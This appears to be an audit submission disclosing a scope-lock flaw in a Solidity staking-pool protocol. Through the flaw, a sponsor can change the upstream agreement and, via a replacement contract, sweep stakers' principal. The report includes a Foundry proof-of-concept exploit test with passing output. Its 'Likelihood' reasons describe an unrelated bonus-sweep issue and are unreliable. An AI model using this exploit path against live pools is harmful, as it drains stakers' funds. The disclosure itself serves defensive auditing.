FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

Locked pools still follow post-lock agreement scope mutations

Author Revealed upon completion

Root + impact

Description

The sponsor limitation in README.md, protocol-readme.md, and docs/DESIGN.md is false in practice. Even after a pool locks its published scope, the same sponsor still controls the upstream BattleChain agreement that the pool reads through the live AttackRegistry. Post-lock addAccounts(), removeAccounts(), and addOrSetChains() mutations sync directly into that live agreement, while the pool keeps trusting agreement-wide registry state instead of its frozen local scope. A staker can therefore stay locked in a pool that still publishes contract A as its insured scope while the live agreement has already switched to contract B, and a later corruption on B can still drive CORRUPTED settlement against the pool.

Vulnerability details

The root mistake is that the pool creator must also own the upstream agreement, but the pool's local scopeLocked bit only freezes setPoolScope; it does not freeze the upstream agreement state machine that the value-moving paths actually trust. The docs promise the opposite: the sponsor "cannot alter scope once locked", post-lock agreement changes supposedly "don't alter what this pool covers", and DESIGN says post-stake additions do not extend coverage while even post-lock narrowing leaves the pool's own commitment as the "binding source of truth". The implementation never enforces that invariant.

function createPool(
address agreement,
address stakeToken,
uint256 expiry,
uint256 minStake,
address recoveryAddress,
address[] calldata accounts
) external whenNotPaused returns (address pool) {
...
if (IAgreement(agreement).owner() != msg.sender) revert UnauthorizedCreator();
}

Once the pool leaves pre-attack staging, only the pool-local scope is frozen. The local lock is set in _observePoolState(), and after that setPoolScope() just reverts. But the upstream agreement stays mutable. It can still add BattleChain accounts after lock through addAccounts(), remove them after the commitment window through removeAccounts(), or wholesale replace the BattleChain chain through addOrSetChains(). Those mutations are not cosmetic: they sync straight into the live registry through the _addToBattleChainScope() hook, the _removeFromBattleChainScope() / _clearBattleChainScope() hooks, and AttackRegistry's register/unregister sync functions. BattleChain's own suite already exercises all three real-life paths in testRegisterContractForExistingAgreement_HappyPath, testUnregisterContractForExistingAgreement_HappyPath, and testSyncNewContracts_HappyPath.

function addOrSetChains(Chain[] memory chains) external onlyOwner {
bool inCommitmentWindow = block.timestamp < s_cantChangeUntil;
...
if (!chainExists) {
s_chainIds.push(chainId);
} else if (isBattleChain) {
_clearBattleChainScope();
}
...
if (isBattleChain) {
_addToBattleChainScope(chains[i].accounts[j].accountAddress);
}
}
function removeAccounts(string memory caip2ChainId, string[] memory accountAddresses) external onlyOwner {
if (block.timestamp < s_cantChangeUntil) {
revert Agreement__CannotReduceScopeDuringCommitment();
}
...
_removeFromBattleChainScope(accountAddress);
}
function unregisterContractForExistingAgreement(address contractAddress) external {
...
delete s_contractToAgreement[contractAddress];
}

The sink is that the pool's critical paths never consult the frozen scope. withdraw() only checks the live agreement state returned by _observePoolState(), and claimExpired() later auto-resolves from that same live agreement state. That means the published scope can stay pinned to contract A forever while the sponsor has already removed A upstream, inserted replacement contract B, and the pool still locks or settles from whatever state that replacement contract drives at the agreement level.

function withdraw() external nonReentrant {
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
IAttackRegistry.ContractState state = _observePoolState();
if (
riskWindowStart != 0
|| (state != IAttackRegistry.ContractState.NOT_DEPLOYED
&& state != IAttackRegistry.ContractState.NEW_DEPLOYMENT
&& state != IAttackRegistry.ContractState.ATTACK_REQUESTED)
) {
revert WithdrawsDisabled();
}
...
}
function claimExpired() external nonReentrant {
if (outcome == PoolStates.Outcome.UNRESOLVED) {
IAttackRegistry.ContractState state = _observePoolState();
...
if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
outcome = PoolStates.Outcome.CORRUPTED;
...
return;
}
}
}

Reachability conditions:

  • The sponsor creates the pool from an agreement they own, which the factory already enforces.

  • The pool has observed any post-staging agreement state, so scopeLocked == true.

  • For the replacement path, the agreement's own commitment window has expired. This is realistic because the upstream registry only requires 7 days of commitment at registration, while BattleChain's own tests already perform post-registration replacement after that window.

Outside conditions:

  • No special outside condition is needed for the lock-mismatch path beyond the sponsor using their documented agreement controls.

  • The full-sweep branch additionally needs the replacement contract to later drive the live agreement to CORRUPTED and the documented claimExpired() fallback to be used after the moderator grace period.

Exploit path:

  1. The sponsor creates a pool from an agreement they own, which the factory enforces.

  2. The pool observes a non-staging registry state, so its local scope freezes to the published account list and can no longer be updated on-chain through setPoolScope().

  3. After that freeze, the same sponsor mutates the upstream agreement by adding a new BattleChain contract, removing an old one, or fully replacing the BattleChain chain.

  4. BattleChain's agreement hooks sync that mutation into the live AttackRegistry, so the live agreement can now point at contract B while pool.getScopeAccounts() still only publishes contract A.

  5. Because withdraw(), pokeRiskWindow(), flagOutcome(), and claimExpired() all trust agreement-wide live state rather than the frozen scope, stakers remain locked or settle based on the replacement set, not the scope they deposited against.

  6. In the strongest path, the sponsor waits until stakers are already locked by real risk, then replaces the agreement's active BattleChain set, and a later corruption on the replacement contract still drives the pool into the CORRUPTED branch even though that contract never appeared in the published pool scope.

Risk

Likelihood:

  • Reason 1 // The underpayment path appears once the moderator has already flagged SURVIVED on a terminal-CORRUPTED agreement while claimsStarted remains false and the correction window is still open.

  • Reason 2 // The bonus loss is realized on the first intervening sweepUnclaimedBonus() call, because that call moves value out and reduces live totalBonus before the corrected good-faith CORRUPTED snapshot is taken.


Impact

The sponsor can bypass the advertised post-lock scope limitation and keep existing stakers bound to a live BattleChain set that was never published in the pool scope. Their principal can stay locked against a mutated agreement attack surface, and if a replacement contract later corrupts the live agreement the pool can still mechanically sweep staker principal to recoveryAddress even though the corrupted contract was never part of getScopeAccounts().

POC

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
contract IntegratedMockAttackRegistry {
mapping(address agreement => IAttackRegistry.ContractState state) internal _state;
mapping(address agreement => bool registered) internal _registered;
mapping(address contractAddress => address agreement) internal _agreementForContract;
function requestUnderAttack(address agreement, address[] calldata contracts) external {
_registered[agreement] = true;
_state[agreement] = IAttackRegistry.ContractState.ATTACK_REQUESTED;
for (uint256 i; i < contracts.length; ++i) {
_agreementForContract[contracts[i]] = agreement;
}
}
function approveAttackForContract(address contractAddress) external {
address agreement = _agreementForContract[contractAddress];
require(agreement != address(0), "unlinked contract");
_state[agreement] = IAttackRegistry.ContractState.UNDER_ATTACK;
}
function registerContractForExistingAgreement(address contractAddress) external {
if (!_registered[msg.sender]) return;
IAttackRegistry.ContractState state_ = _state[msg.sender];
if (state_ == IAttackRegistry.ContractState.PRODUCTION || state_ == IAttackRegistry.ContractState.CORRUPTED) {
return;
}
_agreementForContract[contractAddress] = msg.sender;
}
function unregisterContractForExistingAgreement(address contractAddress) external {
if (_agreementForContract[contractAddress] != msg.sender) return;
delete _agreementForContract[contractAddress];
}
function markCorruptedForContract(address contractAddress) external {
address agreement = _agreementForContract[contractAddress];
require(agreement != address(0), "unlinked contract");
_state[agreement] = IAttackRegistry.ContractState.CORRUPTED;
}
function getAgreementState(address agreement) external view returns (IAttackRegistry.ContractState) {
return _state[agreement];
}
function getAgreementForContract(address contractAddress) external view returns (address) {
return _agreementForContract[contractAddress];
}
function isTopLevelContractUnderAttack(address contractAddress) external view returns (bool) {
address agreement = _agreementForContract[contractAddress];
IAttackRegistry.ContractState state_ = _state[agreement];
return state_ == IAttackRegistry.ContractState.UNDER_ATTACK
|| state_ == IAttackRegistry.ContractState.PROMOTION_REQUESTED;
}
}
contract IntegratedMockAgreement {
address internal _owner;
MockSafeHarborRegistry internal _registry;
mapping(address account => bool inScope) internal _inScope;
constructor(address owner_, address registry_, address[] memory initialAccounts) {
_owner = owner_;
_registry = MockSafeHarborRegistry(registry_);
for (uint256 i; i < initialAccounts.length; ++i) {
_inScope[initialAccounts[i]] = true;
}
}
modifier onlyOwner() {
require(msg.sender == _owner, "not owner");
_;
}
function owner() external view returns (address) {
return _owner;
}
function isContractInScope(address contractAddress) external view returns (bool) {
return _inScope[contractAddress];
}
function addAccounts(address[] memory accounts) external onlyOwner {
address attackRegistry = _registry.getAttackRegistry();
for (uint256 i; i < accounts.length; ++i) {
_inScope[accounts[i]] = true;
IntegratedMockAttackRegistry(attackRegistry).registerContractForExistingAgreement(accounts[i]);
}
}
function removeAccounts(address[] memory accounts) external onlyOwner {
address attackRegistry = _registry.getAttackRegistry();
for (uint256 i; i < accounts.length; ++i) {
_inScope[accounts[i]] = false;
IntegratedMockAttackRegistry(attackRegistry).unregisterContractForExistingAgreement(accounts[i]);
}
}
function replaceAccounts(address[] memory oldAccounts, address[] memory newAccounts) external onlyOwner {
address attackRegistry = _registry.getAttackRegistry();
for (uint256 i; i < oldAccounts.length; ++i) {
_inScope[oldAccounts[i]] = false;
IntegratedMockAttackRegistry(attackRegistry).unregisterContractForExistingAgreement(oldAccounts[i]);
}
for (uint256 i; i < newAccounts.length; ++i) {
_inScope[newAccounts[i]] = true;
IntegratedMockAttackRegistry(attackRegistry).registerContractForExistingAgreement(newAccounts[i]);
}
}
}
contract ConfidencePoolScopeExpansionTest is Test {
uint256 internal constant ONE = 1e18;
uint256 internal constant BASE_TIMESTAMP = 1_750_000_000;
address internal sponsor = makeAddr("sponsor");
address internal moderator = makeAddr("moderator");
address internal recovery = makeAddr("recovery");
address internal alice = makeAddr("alice");
address internal bob = makeAddr("bob");
address internal contract1 = makeAddr("contract1");
address internal contract2 = makeAddr("contract2");
MockERC20 internal stakeToken;
MockSafeHarborRegistry internal safeHarborRegistry;
IntegratedMockAttackRegistry internal attackRegistry;
IntegratedMockAgreement internal agreement;
ConfidencePoolFactory internal factory;
ConfidencePool internal pool;
function setUp() public {
vm.warp(BASE_TIMESTAMP);
stakeToken = new MockERC20();
safeHarborRegistry = new MockSafeHarborRegistry();
attackRegistry = new IntegratedMockAttackRegistry();
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
address[] memory initialAgreementAccounts = new address[](1);
initialAgreementAccounts[0] = contract1;
agreement = new IntegratedMockAgreement(sponsor, address(safeHarborRegistry), initialAgreementAccounts);
safeHarborRegistry.setAgreementValid(address(agreement), true);
ConfidencePool poolImplementation = new ConfidencePool();
ConfidencePoolFactory factoryImplementation = new ConfidencePoolFactory();
ERC1967Proxy proxy = new ERC1967Proxy(
address(factoryImplementation),
abi.encodeCall(
ConfidencePoolFactory.initialize, (address(safeHarborRegistry), address(poolImplementation), moderator)
)
);
factory = ConfidencePoolFactory(address(proxy));
factory.setStakeTokenAllowed(address(stakeToken), true);
address[] memory registeredContracts = new address[](1);
registeredContracts[0] = contract1;
attackRegistry.requestUnderAttack(address(agreement), registeredContracts);
vm.prank(sponsor);
address poolAddress = factory.createPool(
address(agreement), address(stakeToken), block.timestamp + 400 days, ONE, recovery, _scope()
);
pool = ConfidencePool(poolAddress);
}
function testPostLockAgreementExpansionDisablesWithdrawOnOutOfPoolContract() external {
stakeToken.mint(alice, 100 * ONE);
vm.startPrank(alice);
stakeToken.approve(address(pool), 100 * ONE);
pool.stake(100 * ONE);
vm.stopPrank();
assertTrue(pool.scopeLocked(), "first post-staging interaction must lock scope");
assertEq(pool.getScopeAccounts().length, 1, "pool scope should stay at the original singleton");
assertEq(pool.getScopeAccounts()[0], contract1, "pool scope should commit to the original account");
assertFalse(pool.isAccountInScope(contract2), "new account is not part of the locked pool scope");
assertEq(attackRegistry.getAgreementForContract(contract2), address(0), "new contract should start unlinked");
address[] memory addedAccounts = new address[](1);
addedAccounts[0] = contract2;
vm.prank(sponsor);
agreement.addAccounts(addedAccounts);
assertEq(
attackRegistry.getAgreementForContract(contract2),
address(agreement),
"post-lock agreement expansion should still sync the new contract into the live agreement"
);
assertTrue(agreement.isContractInScope(contract2), "agreement scope should expand upstream");
assertFalse(pool.isAccountInScope(contract2), "pool scope stays frozen even after the upstream expansion");
attackRegistry.approveAttackForContract(contract2);
assertTrue(
attackRegistry.isTopLevelContractUnderAttack(contract2),
"the never-underwritten contract is now attackable under the same agreement"
);
vm.prank(alice);
vm.expectRevert(IConfidencePool.WithdrawsDisabled.selector);
pool.withdraw();
}
function testLockedPoolCanAutoCorruptAgainstReplacementContractOutsidePublishedScope() external {
stakeToken.mint(alice, 100 * ONE);
vm.startPrank(alice);
stakeToken.approve(address(pool), 100 * ONE);
pool.stake(100 * ONE);
vm.stopPrank();
attackRegistry.approveAttackForContract(contract1);
pool.pokeRiskWindow();
vm.prank(alice);
vm.expectRevert(IConfidencePool.WithdrawsDisabled.selector);
pool.withdraw();
vm.warp(block.timestamp + 31 days);
address[] memory oldAccounts = new address[](1);
oldAccounts[0] = contract1;
address[] memory newAccounts = new address[](1);
newAccounts[0] = contract2;
vm.prank(sponsor);
agreement.replaceAccounts(oldAccounts, newAccounts);
assertTrue(pool.scopeLocked(), "pool scope should remain locked");
assertEq(pool.getScopeAccounts().length, 1, "published pool scope should remain unchanged");
assertEq(pool.getScopeAccounts()[0], contract1, "pool should still publish only the original contract");
assertTrue(pool.isAccountInScope(contract1), "original contract should stay in the frozen pool scope");
assertFalse(pool.isAccountInScope(contract2), "replacement contract was never published in pool scope");
assertFalse(agreement.isContractInScope(contract1), "upstream agreement should drop the original contract");
assertTrue(agreement.isContractInScope(contract2), "upstream agreement should now track the replacement");
assertEq(
attackRegistry.getAgreementForContract(contract1), address(0), "original contract should be unlinked upstream"
);
assertEq(
attackRegistry.getAgreementForContract(contract2),
address(agreement),
"replacement contract should be linked into the live agreement"
);
attackRegistry.markCorruptedForContract(contract2);
vm.warp(block.timestamp + 400 days + 180 days + 1);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.CORRUPTED), "pool should auto-resolve corrupted");
vm.prank(makeAddr("sweeper"));
pool.claimCorrupted();
assertEq(stakeToken.balanceOf(recovery), 100 * ONE, "replacement-contract corruption should still sweep stake");
assertEq(stakeToken.balanceOf(address(pool)), 0, "pool should be emptied by the corrupted sweep");
}
function testLockedScopeStillAllowsWithdrawBeforeUpstreamExpansion() external {
stakeToken.mint(bob, 100 * ONE);
vm.startPrank(bob);
stakeToken.approve(address(pool), 100 * ONE);
pool.stake(100 * ONE);
pool.withdraw();
vm.stopPrank();
assertTrue(pool.scopeLocked(), "scope still locks on the first ATTACK_REQUESTED interaction");
assertEq(pool.eligibleStake(bob), 0, "withdraw should remain available while the agreement stays pre-attack");
}
function _scope() internal view returns (address[] memory accounts) {
accounts = new address[](1);
accounts[0] = contract1;
}
}

Run command:

forge test --offline --match-path test/unit/ConfidencePool.scopeExpansion.t.sol

Observed output:

Compiling 1 files with Solc 0.8.26
Solc 0.8.26 finished in 8.40s
Compiler run successful!
Ran 3 tests for test/unit/ConfidencePool.scopeExpansion.t.sol:ConfidencePoolScopeExpansionTest
[PASS] testLockedPoolCanAutoCorruptAgainstReplacementContractOutsidePublishedScope() (gas: 549612)
[PASS] testLockedScopeStillAllowsWithdrawBeforeUpstreamExpansion() (gas: 301586)
[PASS] testPostLockAgreementExpansionDisablesWithdrawOnOutOfPoolContract() (gas: 409199)
Suite result: ok. 3 passed; 0 failed; 0 skipped; finished in 7.25ms (2.98ms CPU time)
Ran 1 test suite in 13.66ms (7.25ms CPU time): 3 tests passed, 0 failed, 0 skipped (3 total tests)

Recommended Mitigation Steps

Freeze the upstream agreement attack surface at scopeLocked (or at latest when riskWindowStart opens), and reject or ignore later agreement add/remove/replace mutations in withdraw, flagOutcome, and claimExpired.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!